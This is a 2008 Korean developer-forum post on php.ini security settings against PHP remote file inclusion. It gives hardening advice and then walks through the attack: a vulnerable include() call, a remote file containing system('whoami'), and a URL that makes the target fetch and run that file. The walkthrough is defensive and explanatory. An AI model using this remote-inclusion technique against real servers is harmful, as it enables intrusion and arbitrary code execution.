메뉴 건너뛰기

Dev tips

PHP 웹 서버 보안을 위한 php.ini 설정팁

taknim 2008.11.12 20:31 조회 수 : 9341 추천:2248

http://blog.paran.com/coacoma/5121742웹 서버 보안을 위한 php.ini 설정팁
php injection 에 대한 서버 침입

PHP,게시판 프로그램 취약점 등을 이용한 홈페이지 변조가 대량으로 발생함에 따라 "주의"경보를 발령하오니 웹서버 관리자 및 홈페이지 운영자는 관련 프로그램의 신속한 업그레이드를 하시기 바랍니다.

[ 영향 ]
원격의 공격자가 웹서버 시스템 내 임의의 파일 읽기, 악성프로그램 주입 및 실행 등이 가능하며 해당 취약점을 이용한 홈페이지 대량 변조, 자료 삭제 등을 발생시킬 수 있음

[ 해결책 ]
php.ini 환경설정 파일 내용을 다음과 같이 수정
o allow_url_fopen의 값을 'on'에서 'Off'로 수정
→ 기본값은 'on'
o magic_quotes_gpc 의 값을 'On'으로 수정
→ 기본값은 'on'
o register_globals 의 값을 'Off'로 수정
→ 기본값은 'off'

[ 공격 방법 ]
공격을 이해하기 위해서는 allow_url_fopen 이라는 php 설정 파일의 옵션에 대해 알아야 한다.

allow_url_fopen 는 php 를 설정하는 php.ini 파일에서 설정 가능하며,
이에 대한 설명을 보면 다음과 같다.

Whether to allow the treatment of URLs (like http:// or ftp://) as files.

즉, URL (http:// 또는 ftp:// 와 같은) 의 파일의 처리 허용을 할것인지를 설정하는것이다.
웹 상의 어떤 다른 객체와 연결가능함을 뜻하는데,
이는 사용자가 특별히 지정해 주지 않는 한 기본적으로 On 으로 되어 있다.
그렇다 함은 다른곳의 php 파일을 source 화 하여 내용을 그래도 출력하여 주는
파일의 url 을 변수화 사용가능 하며, 이를 이용해 그 파일의 내용을 적용 가능하다는
이야기가 된다.

예제를 보자.

target 서버를 AAA.com 서버, php 지원을 하지 않는 서버를 BBB.com 이라 하자.

AAA.com/index.php 에는 다음과 같은 구문이 있다.

<?
//이 php code 의 역할은 $page 의 변수로 넘어온 값의 이름과
//.php 라는 문자열을 결합하여 a.php, b.php 등의 이름 으로 만든후,
//including 시켜주는 역할을 하고 있다.
include ($page.".php");
....
....
?>

또 php 를 지원하지 않는 BBB.com 에는 다음과 같은 내용의 파일을 만들어
이를 a.php 라는 파일로 하자.(URL => http://BBB.com/a.php)

<?
//이는 php 를 지원하지 않는 곳에 사용할 파일로
//php 형태를 띄고 있지만 php 를 지원 하지 않기 때문에
//php 화 하지 않은채 code 형태 그대로 전송이 되어 진다.
system("whoami");
?>

자 그럼 공격은 다음과 같이 한다.

http://AAA.com/index.php?page=http://BBB.com/a

http://AAA.com/index.php 에서는 $page 라는 변수에 정의된 파일을 읽을것이며
이를 정의한 것은 http://BBB.com/a 이나, .php 문자열을 결합하여
http://BBB.com/a.php 의 내용을 변수로 지정하여 읽어들일 것이다.
BBB.com 은 php 를 지원하지 않기 때문에 원래의 php code 를 그대로
노출시킨다.
이 내용은 결국 http://AAA.com/index.php 에 정의 되어 있는대로
include 시킴으로 http://BBB.com/a.php 의 내용이 그대로 php 로 실행되어 버린다.

한가지 더 팁을 붙인다면..
php.ini 파일의 내용을 볼때, php를 지원하지 않는 apache 가 아니어도
file source code 를 그대로 받을수 있는 ftp:// 로도 가능하지 않을까 싶다..
테스트는 해보지 않았다..
번호 제목 글쓴이 날짜 조회 수
294 윈도우 리부팅.끄기.잠금 아이콘 만들기 [1] taknim 2009.01.08 9622
293 Implement Oracle's rownum using mysql taknim 2009.01.08 10794
292 오라클의 rownum 처럼 쓸수 있는 mysql 명령어가 있나요 taknim 2009.01.08 9802
291 PHP5 에서 mysql password, old_password 구현 taknim 2009.01.07 12893
290 Include 파일은 부모 디렉터리를 표시하기 위해 '..'를 사용할 수 없습니다. 와 같은 오류 발생 taknim 2009.01.06 9909
289 MySQL CSV 파일 import taknim 2008.12.30 11762
288 USB 메모리의 파일 시스템 FAT32를 NTFS로 변환하는 방법 taknim 2008.12.23 10207
287 윈도우 XP 한 폴더에 저장할 수 있는 파일의 최대 갯수? taknim 2008.12.23 12234
286 [출처] [TIP] BEEP SOUND 에 따른 에러확인하기....... taknim 2008.12.22 8169
285 윈도우XP 속도를 빠르게 하는 Tip 총정리(21개) taknim 2008.12.21 7365
284 MySQL에서 Sleep 프로세스 죽이기 taknim 2008.12.11 11736
283 [Shell]Mysql processlist 지켜 보기 [1] taknim 2008.12.11 9893
282 dtd 체크하는 스크립트 taknim 2008.12.06 10681
281 echo 와 print / include 와 require taknim 2008.12.03 10681
280 [C/C++] prnitf 역슬래쉬 문자 taknim 2008.11.28 16251
279 PHP 새로 컴파일 없이 추가 모듈 설치 taknim 2008.11.27 11964
278 [mysql] 슈퍼 update taknim 2008.11.25 9374
277 오라클에서 varchar2(4000) 데이타 넣기 taknim 2008.11.25 9638
276 [오라클] 슈퍼 updateoracle taknim 2008.11.25 9920
275 보안을 위한 php.ini 설정 [1] taknim 2008.11.12 9691